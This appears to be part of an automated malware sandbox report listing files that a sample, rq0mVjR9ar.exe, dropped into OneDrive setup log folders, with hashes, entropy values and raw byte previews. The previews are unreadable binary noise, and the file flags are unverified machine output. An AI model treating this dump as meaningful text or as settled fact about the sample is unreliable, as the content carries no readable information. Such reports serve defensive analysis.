Preview:	1.0./.p.h..Yn..i..y.....FW../..ws....V.....i.VO".{Tr....j.j....Ib]k:...N.ct.RJ.kO..B..1.x(.u.Gj~..+..v...........0.t#f%M@....PJ.in. +c....Cd...`5.SI=.....WS........h\1../.Ha?.-. .Q!t.....c.u..G4;.U7+.2 .(..zF......;.....c..7....l...3..0..}...........}h...}....u2c..S...$...(LCz....q....4......-bC.2..>.m..:..>hu,....[..`H@.........O.vf=@...n.......E..2e4E.V.(O.(..r..z..^j...T.\y\|`...."...W;...x .A.w...b.."x.w.T..O,....a...sd.s.p....q^..V.M.[A....,..Z..j....3.RK ..(......z)yb.q..(....(........3...'.G.e}...>.:@..dO..G.D...]...L(....#m.B..^=..+.N.e`.d.9......E.-a..Yf.....bY....?.)....A.*......-.j.6........>..s...i.V.T..sD....@.Ot..........6_&U.{7n]1..r.9.8..!..l.VI8H....M...<C...}bi@3..\|.C..W.";..6..n......z.}.s.._.....-.4......x..../..".&..P......4G@.K2...#.qg.b5JU..'VE..d......C...n...f...,.I..gO.V..[... ...a....HH#...j....j..k....U^.../s.a...c......s9..'....v.E.........d..q{w.cZbb...'u...Fc3A.k...[d.HnJ...U;w...BN..F[.9.#Y.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_063354_5848-6440.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.305199658981846
Encrypted:	false
SSDEEP:	384:vAdBP5a3zAjnvcoUzj/XGCxYowM8sqOsmGU/L:Qc3zAb0oUzjOIGYZ
MD5:	DB496CAACD00B242EDB226D076293E74
SHA1:	1140CA97AEA0068AB9CE94CD4914C50103F1CA60
SHA-256:	9DF4137E43398F8A9F7AA9C9C03D086A450A5BAFFD4425E1C36BAD1881889D06
SHA-512:	6E3FD650A5AD45F2AF5871E79D48953352DB0161E46D5468BE27FDD36FDD25C7F2CEE6F56184510C2D83BDB99772904F60B03667D014979AB48B5CC52838C9C9
Malicious:	false
Preview:	1.0./\/\|..YR"{..F...W...w.\|~~m..HZRO..tN.....>$..W.x..c...-.b^6......V8.T..vdc......_..Yk#$.mw+.O..6.`.4.......Pi.l.N0=]...;....~.CP.?...H{.T....7A....Z..Rs.+.4..Yz.......'.uP.T..9.....$.y..5......c...h.U.(..(5....P..d.,...=.+.J.E_..;8.......v...46Y..rz3%.F,...F..%.^.[.g...+-..r....1B.Z.V...Y....<w........'Z.=.E.r]..d._. ~.67:G.......m..."oj......5...%.o...5...I...6.L....=...p..gN[..I..........L..@..4.....Y..$...y.FfO\|..D@..x.`k....J.+.3......d.C...2....r..."...Z....V..:OU&:....U+w.?a.C...hy)1.x.}.iSf..<...0'Vz.Y.y['..i...m...X..Wr.8...ii.g.EW.....*I5.wAbSDm.$-@....h..../.]..#....S..9.v..]XB..{..."M..<...K.S.......`nU...D....fZ.=E'....y...}.+.6.....fl.\|..D0H}..Y2\.%)y '=}}...._.K..N.....B....knTEs.+..R.o...C......I@H...&..n.:.._.V9..~{.JB...iPi.'.Io]....?..MB..=^&h.).<.M0?_.7.p!.V.....E..0.L!..emk.j.i.........N..kZ..........f.muS.C.....F..4.[..j.Q...#..P......5..{.D.<..!..l.U\|.T..c...X..(.,L..,C.@..zV#}k.M....0......{.4..4)~.x.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_064306_5484-2316.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.4671295153385853
Encrypted:	false
SSDEEP:	192:e4DlQkWSYwfgoRms7HtNLmOjDCBaJGRZL/1mwZ:e4mhwFR/tNLnDCBaJGRZLYs
MD5:	17D7C4BD9FD8A5F709FF13ED4780CFDC
SHA1:	A3F0BD59D644F51B0524F1034B728AF871BAB69C
SHA-256:	7C89123C8A1940EB918E4785F55ECC301EB39393F519AF5150F15E800E580039
SHA-512:	D16F5B7B3395050D3A7C8DCD70ABCECEE1DB14D492320D4FDDB43E400E3EEE9D4D2760AEE119172A04564ECEB6C1CC74B06672DD0E46A23B5E84859867A8D4CE
Malicious:	false
Preview:	1.0./[wwm.[#._s.J...J.6SD7....-..x:....". ....B65.K..v.0!2].=.4.'.......a.5se....'.....m..z3.2<.}#...-.<G....I.....b.[a....8...:.,?u..V....6..:.o......{..P.J.......c..0\.s......w.Lk........J.......rN<C<...e.av..K...Qs...$u.I1.k..D...=.4-..O..8....$Q\[..>.r.....6...0.}.D......u8EHe......{.G......:..rA3I....U...lU.............$.O.hs.s..v.6%.N9..^DN........V@{.~.9t.........Er..6v...\.\|......Bm..l.......,.^..W..;F...... I..._W2.."...L...Wa..{f.......--Z...1.`2.rH....t.g`..q..-....:.;7.%...u?.rI.}...U'A...w..S.m.<,V.s..2&."csf.....[v@......{]S+<n8...<.OP;.N.}.<.W.jX.'..(.hC%ap...>..g7C.v.@....J.[.p[.r .]....eE..pm.....`.JL..B..Ne..42..V(.q.iK..H...Ut.e~.C.$..].C.Dl.+.v3..Y.x@..7. ...'......EW..6.=N........6Q..tq.x&n}.=...j$..F...>....4..o...)Z....2...p;....5.vN....R..~.5..cY....jj.b...o....K....C..J.-..qL]{...m..9...w..qt.Aq..V.j>~Y I.\|..._"......x...JSF...J.p....G.cL..).7.E.\|...s.-X.V.Y..X.^om...Q.n@>....Y.q...S...._..4.M...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-05.0632.6564.1.aodl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9663091348592222
Encrypted:	false
SSDEEP:	96:qivtjb25f+NlfOcrBCTz44uabMx/cZy7zXNThQyCX5OdQB8dr02:qitWf+NlfNrB2mabMxUmTNThiJOdo
MD5:	53F714E2C1EAB09FC894FC8BCF42B551
SHA1:	844A2E2A9377C3510D5AAC64ECB60124DCB06E65
SHA-256:	4F6E494C9698688AE1C5EC45FD3674F7B1B08C9345F9F5223CA5B1A7CF263C83
SHA-512:	3365EC7A070DE05671B0B12AF10D88AB0033F1800A51E4D8DFDF2BA5ECD8E0DD57003A97D135866C7977648DA1966EDBAE75D9CA4D4A16600A46DA7275860F0F
Malicious:	false
Preview:	EBFGO..d.:..JCZ.Z...D.9.(.....2NHO.4..2N.nF..cPe..O./.r...1CM..K.Q3xT..3wG..=.@i.7..N..H...LX......Z.zqmN]Y...U.....v.`)&.,....l.{.P.DK.....d.x...".......$...<9.C.}.......B....b.gf........b.....k.-....U.r..NPUi....6.4>?f....S.w.........@@\7.%T.(.....D..S......... -.2......3.@7...=...;.<.t.6..E.;.v.g}7....xj..O ..........6l.ld..L.S(..2..L{.....o.....E...i.-g.\..f.Z.'Eh:.%.C...~...6.,.E.....V.SH......7..#.....E.'...A....);..~.+..I.@..&.a..#..t...[..W2..5.G.1.]R^..;...-Z.C.7..SQC....p.... Ak..y...>u..v.U.}..e...1y..;..F........1......^..^...K.d6._....[0>..z7..W..y...R...IVMOE;....V..,.`...m$.E.G...}..T...aC.J"Q.\|1.j.1[.#..Z...,H.z....wr.wm..Z.........g=.S1..A@u..&\..a.k..@.,.2n...b._[.f.A.g..F..N.6....$V.Qz~....j..9RD.op..->..s..6~..F.Vv......l.A<..h~^.X%.qYt.d..7.R.....)W,..:.q..g...n.~.....O......fE..#..S.I.).9.N..Uq..e..1.-...Cn<..1I.o....#...>_M.%...G..............":....jJ..........5....=..4.}>8w=i.m.~8....Ja^...bM,..\|..&....QY

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-05.0632.6564.1.odl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.5617052473109614
Encrypted:	false
SSDEEP:	384:0dUskRktdsRku1oEbYt+CXs002CGi8N58ry1:0VkR+dekaoyYt+OsFro8r
MD5:	4A2AD10C480F0C91B576205E6D21A972
SHA1:	BA98B229220E86A4EB009ACAE6C519440F25A74D
SHA-256:	5E170FD9FA85AE32C80DDE9D07BBF04499469C2F5BD14AD49B565C36EF139D47
SHA-512:	CB7A2B10AB87A9AB8A5294F8AC17F897CDDDF94C714E20C223C03500C01240E6DFFE98E00A9174D3EFBBD6201F86CF32F25953FC2BEF3CDFB3B45D974104397D
Malicious:	false
Preview:	EBFGO.Xo..K;...}.6.F2)...m0.\2.......}.5.%U..'..QF.\...^p=8Nzh.f....:H9{.=..M..:......6"c..>...v.tj.........#R./1......Xe.j.....z.Y..w.z.S..ml\.^...]M..H..<......[<..h).e..P.".e...P...7..xE.8....915.&.7...d.5.Z2.m...?8&.;=..A.5....a......R..,......@.r.>......:6..z......n6$...Q....(....^}>5...a..(.\..-n..y..........a?g;....K.........^.c%...R.Q...!\|/........\|.......}...Q[.+./...^^%.....D)B.......0._......C5.%.+....qF../.e5p.m.d.(...G.........Jy,. {&.J..N.k..Gg..5...JJ.4..w]...a.{.C..)v...v....i../Q.m._K;.2..... .[.@. X.F.F.:.......S.e.W.$>\=}3.....W..v2.k.Y....)#..(./..]z..0.t.w.rS..c..O.9..r.%Yl..\|..'....Gz.$...LEq.rF.{..7(.!.....4....9k..#..qu..u..!.....mh=.A..o......1eK1...hg.....a.b...]?Zj.6v...).l...B.J.8..P{.D.~...2....'...E[..Q..`.VW=...PCe....IaF...g".)7.xU.....-.v.T..EkdYO.x!..P..... .../..!=.........dk..mI..jp..L..V..t.n...f......%...7d...Qg_v..-...N.S$.....vH...p.......h._....}...~..8I...1.p..].8.U..L...C..$..V.$q...I.`..,^..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-05.0632.6856.1.aodl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8661079169883301
Encrypted:	false
SSDEEP:	96:kg6W3R9r1aCtTu6UYaDgkdoPGs5/gXQMY76wbGR:b6W3R7asWYleArJ
MD5:	AE997654DA02ADFEE02CEE5AFB9E5610
SHA1:	50D707AA6C0478E99354A0F5CECEF1E451DC9108
SHA-256:	EB0793FAABF5247B1C9A018A5CF3A77F911F54D909815B09C196C7C6C3B59378
SHA-512:	7F34AF208D8E25019EF7647453AC74B2A20EB83FD155CCA36AE92ED217691CF73269B88347AD2A3C8D08C56EABB60457E85FA6B1CE1904616BF930ABA82B9331
Malicious:	false
Preview:	EBFGO\...&.H9.9'q.]Q...))`.....{{..y._.z..j..\|"..7.%.brS.b.uWi.......J.G.yTn..R...r.....X..?.[...]./# .n?.....9f.q...'.i.........xc....7[......TR..c.......A...<.....d.E...._.B'J..P&.....O<...d@"Z......].....p.h..h....F..k\|W..#.EK...jw.<..[.wr..%..M./.R.,.....cU...t2.VV9L"g.2.bp...0.....()..S.tm.....&...O.Y.....d..S...$...K.P_.....v.....ks...a..M\O....}...$.."bq&........w.Z..y..3....C..df.Y...N.tt`..P..JQG'..[.&mx..[=.e.B.E.{xA...B.F.i.+..uC].5.Z.4a~....=m,`8!..]...Z#...m.o.......K.JT..r.t.!.v.\|...?X.>.`)....7.....g.V..9'....P2...F2/i%G....+.h...{[`./....s.=\|..;Dj..g.....X.>X.p.&E.5....V....\|....Ww.G.BAa.O..\|..i..../....Dj..`.\|.zV> .to....w%...+.O:....;=..7.3...c.2..t.Z..".Zx.n.'~.g....q,.....BZ.D...u.T...~9".-.1WB.D.P..$....}.g.UH.... .%.$/.W..xg...>.I............j,y8..s'^.=S....3..LnK....A..../.nO.@.6:c...`.(+...,.K......n?.dj.W.m`s.B.vRS.v.A....Q.N>. >.9v._8aT)....2G[$.....5^...jK]..xt.r./.m..XV.H..T...T.X3.....9.W%.....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-05.0632.6856.1.odl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.2065789533487731
Encrypted:	false
SSDEEP:	24:WDG6gNqYF4ADNdQKa+U3STcMie2N2BlsiTkbz:WhYVF4ADNta+sve2ulFiz
MD5:	06ABD4527DE89D3329B1FC237F0D6358
SHA1:	C40CA6C17A856753CCDDCE653B4344FF5E0E3595
SHA-256:	D59D1A90294984D0E45422677D539F2F16C01DE60E32AFD91DB55CE70C8D6235
SHA-512:	660258AFD4C098C7470C21AC96FD72C48BB47C3107ABAF208DD5B910F5F2582860879A4521464BA1FF697A3E31E55355C622E314946FE97CAB1FB7FF8BC7F0AF
Malicious:	false
Preview:	EBFGO .[!T..C.@.M..TO".p...u.c/.$..P@J..:.....xxc{..M.%..=8....q+?.i%X..].P.k....:.1..j.+.9..'.o..[.ZO.r.&....0..c..7..9.]..\V....4q...IZ.N]q..U".$h...,3...N..4K...<......h.U5r..f.zv....;..g.h.Gy..[..bP.).e#h.\|.x.2.%.%.M^......QTX0.B..;Dz..D....K.Ii.^.o.....4q.\...D<.Y..........O.D.8..u..Qi.\|.....[..z.-...h..T.A....1....;..........A.....b...]..,..K2.....nI_..A......t_..{.......%...0.......9]...yq.....[...:..@.`t"?......q]..f.(..\|'J..'TW..%.....$..v]'&..7....7..$@K.d..S.5ilK$...Hl..[...%[....Tt.?.......i........p.=..,..e..;.n.%?.ha!.*q...EG.D1eF@.i.......s.b.n..r..S...o.{.C...qX7.v.........5./........k..i..s...?.F...U......^7.0s.Q.J....C6.I6.2.^.5w.Y..4...W...'z.@...&..^.....6..S.e.j......j..!7......s..?..(...fN..,.~...c0.....Gb..P..9l...kz\.}....q..H.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2023-10-05_063228_1ac8-1adc.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4597532567564264
Encrypted:	false
SSDEEP:	768:2iFu+3IPAtoC3wmg8BdOLd4+yjx7N2Gnt:rJYPAtP3wmZu21T2Gn
MD5:	2474414D0F197E4610B9A6178A9C6A4B
SHA1:	3938013CFAC9D9C55C54C22DC8C700D34CAAF0DB
SHA-256:	21C0F8E959C13F7E537752F3B74A19CABD1B0F34AE5ABD49B13475B1874EF679
SHA-512:	D05D5A1F1FAB6DC5A716741FC08FCE38A4F3BC888AC063D23BBA137B76478F9CD6CC267F66F47891FAAF962BF8DBE2749537C7F9D283B7D0DA7229191002E961
Malicious:	false
Preview:	1.0./..w~S.wy..N...\|.k.9"{.......^....0.y.r.....e..k....\T.Zd...T..~........o..:wb.45..)T....._.....S#......#Q.1v..v.%.r...P.9B.bA....'.w?..:.}U&.^d../R.X.......9.. ..O....l.......%p.._.r]..5.a%............J...L....$..V..%.,j......-....7>.J....MK...J.\..[wP..<D..A.Z1v.;./.........Q`...^..w.>.kQ)..J%x..e...n......7#.\|.ul....x"..F...............u.....=......\|].aC.R.N\p...`i....>....0..K.~..?P.=.m...{..F....(u#.vd.\.:k..H.....]..m...BY..VWa....<`Q.R.?+.q...#..}V.....M(.A......s...G...J.....eB....K.B.{..H..t:...`.....,o....FJ)5.c{...N.U.s#..D....gT.:)T..A...>............1.a".Z..w/..h.f7V...g=..@....oD......&.14.H.f.$..~...)..ZM.xS....^#_.TY....-\|\|.).De\|.u.%Q.]Y?........C..... .........e.J}.....N.._.mo....{...Qn..(.....`...;.T.0y(......6..N...9..S.../.H/\..^....:.q....g.'.+.ul...^2N%Gz/...I.\|...0...0.:...z#.....J,b........x+...jAR.Qe{$c?.."C[p<]."1.cq..).y._&z...O..6.y#?...Ng........I..~.)..vW.....]..A.....,...)O........K..J...<...Z.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-05.0632.6956.1.aodl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9418661228114876
Encrypted:	false
SSDEEP:	96:Ere77D6pxJYH/6tILdPufyN3pohlqodFc9kvkAOUTORBMm++R:OQPqAH/6WLwfyoyStOaO3P
MD5:	D910673FB6599EC9726B3F421458AB28
SHA1:	758F8C455557D026D91FD0439736FB33F0B6C81D
SHA-256:	829B91F7C58F093A5CEB1BF78537A710E9A2813EE1E4B905C7FFB501E5E827CD
SHA-512:	AF0FCF2A19540E4EF7743EC83406793BE4CF81AE5253A4FAA970F6843B1609C0F3E8F2264B42F1361921DF4A4840B86BB95A3426AC3B9DA5AA8D22739F08D8AF
Malicious:	false
Preview:	EBFGOW. ....P.BR.....lw..~.(...4....(.>..i..R......&..e..._...m..U..,.R..Joi....75O....U.0...za..9......i.%.;iV.J..n...;G?ev}.t.b.&T\|x6"J.q....g.......RN...4..T......3......o...w.aa4.......k...;.%mlHh..'.Jx.`.D..q..@.@r....%?r...O......\|.t..0..S...]...'..`.....j..@..f.......y./..>.(S.}6&...0..r.....^-J...k."wa...../....h>..c..<..ZJ.'.....D.h/,.v.J...:.NW........@7x.>..%I8....`...b..X..ab...PZ&\i...\1.IO.}.C.....{...1m.......F"KQ1.H-..."&..>.O.dY..7c.`..wp..j.^0s.IW.)W.v..."...............x..^A..W.&R....V. .....Vy..@.g%..pES.PP.U'.K..?..W...e(.2..d1..".U...&@S.wQ.w-.8..v..d..{.S..j..~:e.f....&..$O......z_c........8...=.....]Q.I.O0...;.R..<....4.pR...........\..>.hG.dcR..`....U..3c..\|...x.\|..?...2.^4...^.8F... NU...R."F...<..o~;7...S.Z..7.k.uP......n...n..Nab.F`...L'..........@.O....D/.5S.,...-........P%..O~..VZ..@.* ....m.-D:...EKj+..c% .e.F.s6W...Z..@....E.-B.^.............H..}.....P>>....#.....P..z.?....Ej....bz..s..`..={.......1.&.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-05.0632.6956.1.odl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20504441687077973
Encrypted:	false
SSDEEP:	24:bHcFYNV7pMm9XNn3eyIAxP7KM3l+JQViTkbz:IFIV7pMm9dn3eyIoDKQ+5iz
MD5:	F3CC1B6808CEF74D4EB7C2BCE10AE790
SHA1:	F19A159FF9D4E0FAB674955C79C0354F9F155A54
SHA-256:	2D089338E5CFAAAA54CC3C6492EC160BAEC1E89E8FC441949DA81C4FC59FF169
SHA-512:	76B9F578955DCB317664FABBB8F4E6090972A771E0ECC2141039CD17A8D728DC939DD0F3488918756E8244F08FED5E2DCC0FCAA7B58A0A62D58E0D59DA52404F
Malicious:	false
Preview:	EBFGO..T..5\i.9..Q./...b.6.. ...X.6a'...}.]6..j)`_.[.T..4EH._.Z..a\Ndf.....3.,.Z.....~...6=.n.._..zy....b...3U..{,..e.}i...[..XI..Y..b..]....L[..tf..w.@..(.6.v.D....(....<...38E..`.....8..3...?../..g.._?.d.c..k..../..}. r.U'1..-.W.2.h.6.D2R.......U.&<...;.^..4..Y; @if.....-_)HFl.\|..l;].zO....t...3v.-.......+...T.h>.....M.T.>.Tm.9....b^)_P}.~>f...........dm`.A.,.u.....v....N.q.".fxw....=..\|..iI..Sy...3sn%...t...Um........l.[....=+.V...U..:.nTg."...j:k.a.r60-r.c..Z. 8...s.D.UWD.*[.?...C.....t.-....czf..\...5....U.$...............g.n.h1z...P.l..zRb.E:..-/D.n.eb=.....X..o...'..yYiq.7...-)fBA.1.<IG...(.U.t.h+G=3t..#"p...Y6x2...........;...;y.a..;.{...<..\.BS...u.hk;.2d.M......-...9`.....0g.s[............=i..<p..X}.d.j.]w...A.m....R..ZZ....33Ma_..e......a:M..9r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2023-10-05_063229_1b2c-1b08.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8968812129971138
Encrypted:	false
SSDEEP:	768:O+D0Vhi8iQeYw8RRRfzivlk26+P2vTc+Vef:O+hnebSlkAyqf
MD5:	AF8E877C6D0D8CCE93D939C321997D6D
SHA1:	20867AA475D28681ECA3849184CB3D436FD3595F
SHA-256:	AC4FB498D722B49B52519282DA330900E0CC74A1899E95A867EF7F1650AD4F84
SHA-512:	7B02DDC5E57484BB1CC3342158023D6DAAC7B51C977BCD209FA9C27B56190E4AA3D5BFB0BFD86B9AC18251296B13D2B04B2C101DF858BEB854FF08539E5C576F
Malicious:	false
Preview:	1.0./\|ZHI.!@.5T[.......p%..D.......s.S..q]~. ..i..%.Jf.{....a.#.j...Pg.,>D.U.A...G.`..1.na..y.....P....".pOC_...#p........I~\|s=...<.x...#..!Ua.%..9......;.nh\>...}.6..W....x!.?....G. ...d..........j..hU....@T.Si.9......I\|.>.9H.\.......Y.y,.%....[.E.."re..rU........O).]L...$S.!...&..G.s.{....]V?avK.s....g..i....h.6...X....[.....+.J"P^#!...S...qM_..2.'.,m.)l.'..t.3...I.j:....-..:;.<..W)\Mx.C...4...]%..9...8M.q...}+w:..k.".0...Xp...Z...6c.:..P...?6i.O2..tE...R.._...r..!.c.Z..'P\......S.....c...e.WYl......."...,.Q.h......:.:..Bh(.A.P.UN..x+Aw...AV.d.]...pA+...y3....1...A.....^.M.T.-...>....~.M.q.Lh.,bq.Y..).....l...8.....$........h.R\|.).r.WH.Q'..a..W....~H1.6.[..m..)w4.8..3...\...GL=.^.3..5MM.s.B...&.''.....R..9...&..n,.z.La.<.AqX.oj.k\Q..Y...u..N..{D..px._[..+5..)t.V.N?...C8.\....X....`..6.Y).s....~..Y.}.D.;...6..}........<0.X.j.G..0.......7.\...%.:(.zk..~.....VA.y.H...#y.B\......%:.;g. ...#.mz....V...?..&.ZQy..8.Z.....c..p..Ko.P.:n.W.}^T...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2023-10-05_063221_19a4-1980.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.41623322662059
Encrypted:	false
SSDEEP:	384:eeuYK43XaUUTIUqHfiyP8286TQlU7Br7zxQMpq22RpxPJa9OsLCrrGlfPOQFAeOE:e7uXaPq/NE9ziVrGJa9OsycXW7B
MD5:	A370D77E6173AFEE4D60B6B0FA76528C
SHA1:	20A9FB86C302337F1CF4469333197764A8071363
SHA-256:	320A97C5588FA78B8B78D78129DE1BD6B637C37B0635901CA1CD312C2DE327B8
SHA-512:	4DBA8EA40F91526678710FC1EBE8432B6BC5E427F97644C3A02C7393035E6E35957FB5FF289E9413DFD061132E2EFC7DD9C07CCDE7330F7CC8E2B15B8AC2B77E
Malicious:	false
Preview:	1.0./..u...%.....7.^V.^/S&.R...5..(Q...7...c...rA.u]...m..Z<.....LMiI....d#..H..uw{..Q.r.M._.."UP.....\.E0...U.S..;..9P?74.h..../L.w..>....cd......u.{.m!.Z[....._.H.Rs..3..P.I.c..?..WP...E..Q......3B..f<q.........IU.....2j....$H.G....w.'.E.1.s6..7.....A..D5/a..\|...Z.r....p.N.h.3..ZH....g......=.....Q"F...9.b..7...@\...U'...S2.P.:...3.6....x..yPL}2..4.....#._....@..K....:3....]..(.].dF`..y........;...L.J...'.....z..~z....x..@...N.g...NY.mIV.G~..'.\%F.:B.N..%....D._..!..~..b.....n.-Ym6..a....].....b.t.qg&.......Qs5Gh../.;*..8..w9..t...G.)..Y..av&X./d.......jz.JYw.....H.....i[.M..........v...&..$[7.>...T.`.h.N......t]{.@B.D.$\|...G.va.)..J.... (.>Y..7....{.V.j..j).U.7..q.......i.S.?..Z.....[.50..._'..Pa.voW].<.L4. ..N..w"IiE[....\|5..>...(..W(..o..`.(..;...;.Q3.=...D...e...i...a.qlbc.+rE"1...0S\..q.6....$4'}....^..ba....m.;../H\.].e.p.W]3.QU4...x{E^n.c...Q[5.BBY..@.......P.E.<..hvD...n.]m..T..N.;}+>.....rG)$..#W.l..\..o .=L..I..$.tO&.nFKP

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_061944_5b4-844.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.556896051083988
Encrypted:	false
SSDEEP:	384:Bkl2v/SNeLphDE7RHSTJhpkT+tZw5+SWqgIWeF7ix32WsuuV7H8kpMxaq+6fpRsq:Rv/lt2HSVPkqty5FJ2RuxH7q+Q3sc4S
MD5:	1E7670C5DDD53387C4F6CA77585D5227
SHA1:	9A028E0BBE837AD67A0BB7A4A69A2D416A394B05
SHA-256:	D176718C6407052E227B45F1BF962CAB7A9E577CEAD8E2461F1036D2830B2AAA
SHA-512:	838561A8D776C01089977E54CCF2E671167995A122354B0110CF5C62AB622C27D8F8147CE7B04FC08E842E067420BA1BD69D3F61389A8623B8E54536FAD2D1A5
Malicious:	false
Preview:	1.0./a...0.[&u....9.aC.oZt..f.<=.[....V.g...4..`w.(S.........ss..{..\...W>....$..).`.!.D2.]kt...}E.L.!a..a.4m..x..Z.R....4..mRX.1..Rn.7`........ze.X&.XM..6..S.0qp..9.E..D.]fcX.).&o...]..NX'~.TY.6,....6$.....1.E..c..f`..us16..D.9X..w..W.g....F......`v;....u...s.d..T$^.c.......x'J.\|7p..".qX.^F.K...Q.P/.c..Q..Pt...^2.E.Y..R...8..)M2.;.+u............U..0m\|9.K.=.......20.....cy..O...`..P'.P..d}\|.6..\\...VPZC..I...<....&..Sj/.2.....Zn..~..n.e.....:...%...2.s[....:.-..u.7.<4......n..`I...#.).A.!.'.6.os..r...j...t..V7.\|3......:.1.x.A%v.....6...l....{.~=cT-Z\|...@@.P.8..5mmV......$8.'.#....w-...\|..#=..S&.O.".Z!.q.3H.\|.....->.20&}.=S/....T.._@..........w.R.......T...!I...i.).-.6......n...X0I..........X0`....1u5.r..X...x.8...l..GJ.:R..oq.?L..#.wx$\| ...."gM..._.8.......`.H.LF...-.....a...M..k.....;l[.g....62.ld5.S~....!r.y$..^..=NTT.....O.ct2<.6....-Jt..v.Z.]....2$.:.......JDChv.`..?..;.......2*>.xk.7.a.E.sZ.t.,......?......r..t@)..g."... .....L..!j%R.\..;

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_062015_5204-7564.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3153175927119662
Encrypted:	false
SSDEEP:	192:RzVvlxMpVg5VCfCoMw1X9X2ATo53mh66EvhYcRYKSyeeS9B:TvlUfCoDZ9lTi7vhxYTyiP
MD5:	92BC9DAEA11533661EC6256AB1A4B035
SHA1:	57296E15B0F9E9635A6F3905E1EF5B9A3CB44DCB
SHA-256:	BAAB425BFE51195A7A38A685D529D00BA164F49C5C798B3000988C848F181136
SHA-512:	32079D1E9BF0E3990391D6F6A861FA86C7A9C0865AE351BF2D5A94CA43199321E6F51238EA3DE47794A68CAB364959D9747F206FADF9B73C28BDBEF905DB2BED
Malicious:	false
Preview:	1.0./..p..@Sf;.BZ..._.J;..Z...x$..t.K...k..T;....9....U.ub]^.vu...jf...w,f3..A...<T..U7.x{<x5...~.=..y....kL.M$...3Xi'.B@....U....T.Qk\|...T@...;G:C."2.s...3.{....R..c..z..I...-.q...Y..{..5.wSO...zY..j.SgO...w..k?2_.5[...n....A...IG.E.0t.4Bf.&.).7P.;.x{..m..h..pS.#....._A"!..M.....\|kD.Jl...yg.:..3....M......F....V..<........Z.....-"v.6j.a.A.f.S.q..2).$......O.. ..... B...Y...o6C.G1. .........w.B.....<...`6.]....i.UW.X...X.!.n.{.S%.Q..y.G..)yb..Y....J.w.G~.8.n0.g.J.......V..y.I.i'.S!.....K."K..d..].!.C..A.....o.._....z.....p...D.m.)..#.-...p....[..F.3../cr.4......L...6.....Z..X.s....qo...%..W.....^...c.^4e... ..^.../.........g.....z..1u1."....!...E.g_...A_..L..J..WO9.[9.6..Y..c6......../.> ..Y`.z...4...5..(.{.?H..I......ah.NY.LZiF.u....&..H.\.jr.[:t.....(p.C..}..c....Q$z..8....V...KTI..=?N.Ne.B.m..P.._....J.v..._5.........4i..h.....X..c.[.#.u.'.T!...k....H.%.{...#6../P.].yN5...y.:.<d.5.v.RZ..5e..\|b.?.q.+.2.^H..xW.E..*?..d{=0.N..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_063232_3488-6044.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.762236905688724
Encrypted:	false
SSDEEP:	384:9vIQvydFoxYG5nXlYsih87cNxYTBKqOT50lVQ0:hIu/JXWTkAKTBUL0
MD5:	BBFA0EEED827BC115EABC1C6CD5EB288
SHA1:	9B09CE6C0102A0028B0490E6248BB291891CFE1D
SHA-256:	97F80675889664308D0A1DCEC80EF02BB9B356D2F73C905DD87444C8EC1AED51
